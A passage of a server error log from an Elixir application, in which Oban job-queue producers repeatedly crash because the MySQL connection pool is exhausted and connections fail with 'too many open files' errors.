updated_at: ~U[2026-09-06 00:17:18.240149Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.173886>, refresh_timer: #Reference<0.2525715032.1121189889.173843>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:17:18.240528Z], limit: 3, uuid: "1818de23-4bd0-469c-862e-79b37c07c87f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:18.240534Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.173887>, refresh_timer: #Reference<0.2525715032.1077673987.31079>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:30.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:31.559000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:32.650000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:37.787000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:17:30.240093Z], limit: 5, uuid: "366923f5-294f-4a5c-b5f6-feff4b59af6d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:30.240099Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174314>, refresh_timer: #Reference<0.2525715032.1099431938.54715>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:17:30.239632Z], limit: 20, uuid: "e5338c9c-afdd-453c-a3c0-087afb10236f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:30.239639Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174313>, refresh_timer: #Reference<0.2525715032.1099431938.54706>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:17:30.240045Z], limit: 5, uuid: "de319d66-56b5-4c64-828b-85a3fb4852c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:30.240051Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174315>, refresh_timer: #Reference<0.2525715032.1077673987.31189>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:17:30.240751Z], limit: 50, uuid: "fbc77168-9cab-48bf-bd2c-0b2caf4c3b91", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:30.240757Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174317>, refresh_timer: #Reference<0.2525715032.1068498948.52757>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:17:30.239823Z], limit: 10, uuid: "8e16daed-e31c-41c2-8c98-04df06d24f91", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:30.239830Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54730>, refresh_timer: #Reference<0.2525715032.1099431938.54709>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:17:30.241406Z], limit: 3, uuid: "62371c27-c303-4fb0-abeb-003ec0b403c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:30.241411Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174316>, refresh_timer: #Reference<0.2525715032.1077673987.31209>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:43.047000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:43.623000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:43.951000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:45.569000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:48.497000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:48.698000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:48.966000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:51.962000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:53.298000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:17:42.238796Z], limit: 5, uuid: "da0f7390-88af-494b-8cdc-38af548c5297", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:42.238802Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.174736>, refresh_timer: #Reference<0.2525715032.1121189889.174667>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
